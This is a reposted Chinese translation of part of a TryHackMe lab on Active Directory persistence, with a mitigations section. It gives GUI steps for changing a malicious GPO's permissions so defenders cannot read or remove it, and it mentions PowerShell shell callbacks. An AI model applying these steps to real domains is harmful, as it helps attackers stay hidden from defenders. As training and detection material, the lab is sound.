默认情况下，所有经过身份验证的用户都必须能够读取策略。这是必需的，因为否则，当用户进行身份验证以应用用户策略时，用户帐户无法读取策略。如果我们没有登录脚本，我们也可以删除此权限，以确保几乎没有人能够阅读我们的策略。

我们可以将“经过身份验证的用户”替换为“域计算机”，以确保计算机仍可以读取和应用策略，但阻止任何用户读取策略。让我们执行此操作进行测试，但请记住，这可能会导致在身份验证时无法收到 shell 回调，因为用户将无法读取 PowerShell 脚本，因此请确保在执行这些步骤之前测试 shell。在此之后就没有回头路了：

单击添加。
键入“域计算机”，单击“检查名称”，然后单击“确定”。
选择读取权限，然后单击确定。
单击经过"身份验证的用户"，然后单击删除。

执行这些步骤后，将立即收到一个错误，指出您无法再读取自己的策略：

您还可以在侧边栏上看到我们无法再阅读此政策：

通过执行这些步骤，我们可以确保即使使用最高级别的权限，蓝色团队也无法删除我们的 GPO，除非他们模拟域控制器的计算机帐户。这使得首先发现变得更加困难，即使他们发现了 GPO，也很难删除。我们甚至没有所需的权限来与我们的策略交互，因此在执行网络重置之前，必须留在那里。您可以通过将 RDP 应用到其中一个 THM 服务器来验证 GPO 是否仍应用。

---

缓解措施

有几种不同的方法可以坚持在AD中。其中一些技术比其他技术更持久。为了确保你的坚持不会被蓝队移除，你必须创造性地思考你的坚持。此外，不应等到整个域泄露后才部署持久性。在每一轮横向移动和权限提升之后，应部署持久性。

AD 持久性可能是一种难以防御的痛苦。在某些情况下，持久性可能根深蒂固，需要完整的域重建。然而 我们可以做几件事来检测部署的持久性：

异常帐户登录事件是最常见的持久性警报。每当凭据破坏分层模型时，都可能是持久性的结果。

对于提到的每种持久性技术，可以编写特定的检测规则，例如计算机帐户的密码更改、允许更新 ACL 或创建新 GPO 的情况。

防止持久性的最佳防御措施是保护特权资源。尽管低特权访问可用于部署持久性，但真正可怕的技术只有在攻击者获得对域的特权访问权限后才可用。

AD 模块到此结束。我们已经了解了AD的基础知识，如何破坏AD环境，枚举它，执行剥削，并通过坚持不懈深深扎根。本模块只是一个介绍。关于 AD 安全性，还有很多东西需要学习。是时候展翅高飞，做一些自己的探索了！

最后

以上就是满意紫菜为你收集整理的TryHackMe-进攻性渗透测试-15_活动目录持久化Persisting Active Directory的全部内容，希望文章能够帮你解决TryHackMe-进攻性渗透测试-15_活动目录持久化Persisting Active Directory所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。